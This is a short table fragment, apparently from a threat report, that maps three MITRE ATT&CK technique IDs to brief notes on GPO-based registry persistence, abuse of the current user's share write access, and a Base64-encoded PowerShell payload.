| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup (GPO persistence) |
| T1078 | Valid Accounts (share write access via current user context) |
| T1027 | Obfuscated Files or Information (Base64-encoded PS payload) |